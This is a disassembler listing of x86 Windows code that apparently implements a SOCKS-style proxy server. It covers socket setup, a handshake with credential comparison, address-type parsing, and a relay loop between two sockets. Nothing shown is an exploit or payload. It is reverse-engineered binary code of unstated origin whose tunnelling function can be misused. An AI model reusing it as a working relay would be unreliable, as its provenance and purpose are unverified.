		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		call	near ptr 71AB2D0Fh
		nop
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi
		push	0FFFFFFFFh
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 4472F868h, 0E8905600h
		dd 7168868Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_4472F4
		push	esi
		call	edi
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_4472EC
		push	esi
		call	edi
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FB4o
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:00443014o
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		nop
		call	near ptr 71AB664Dh
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103A4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103A4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103A4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF38
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D54
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D54
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi
